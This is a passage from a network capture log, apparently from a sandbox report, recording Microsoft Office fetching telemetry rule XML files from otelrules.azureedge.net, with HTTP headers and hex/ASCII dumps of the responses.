2024-11-23 20:59:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:52 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205952Z-178bfbc474bbcwv4hC1NYCypys00000004xg0000000042x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:52 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:52 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205953Z-178bfbc474bbbqrhhC1NYCvw74000000052000000000htv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:53 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:53 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:53 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:53 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205953Z-178bfbc474bp8mkvhC1NYCzqnn00000004t000000000dpqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:53 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:53 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205954Z-178bfbc474bbbqrhhC1NYCvw74000000051g00000000mr21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:54 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:54 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:54 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205954Z-178bfbc474bq2pr7hC1NYCkfgg0000000560000000005mzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:54 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:54 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205955Z-174c587ffdfcb7qhhC1TEB3x7000000003dg00000000rdaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:55 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 31c6069e-e01e-001f-7f36-3d1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205955Z-15b8b599d88l2dpthC1TEBmzr000000003cg00000000ckv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:55 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: aa1ebe18-101e-0017-5340-3c47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205955Z-15b8b599d88m7pn7hC1TEB4axw00000003k0000000005tt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:56 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:56 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 161730be-201e-0051-3520-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205956Z-178bfbc474bbcwv4hC1NYCypys00000004x0000000005cct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:56 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:56 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: aaf9eac1-201e-0000-4977-3ba537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205956Z-174c587ffdfb5q56hC1TEB04kg00000003f0000000003bs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:57 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:57 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: fa1269cf-b01e-003d-7592-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205957Z-15b8b599d88pxmdghC1TEBux9c00000003m00000000098q4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:57 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:58 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205958Z-178bfbc474bw8bwphC1NYC38b400000004v00000000095t5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:58 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" 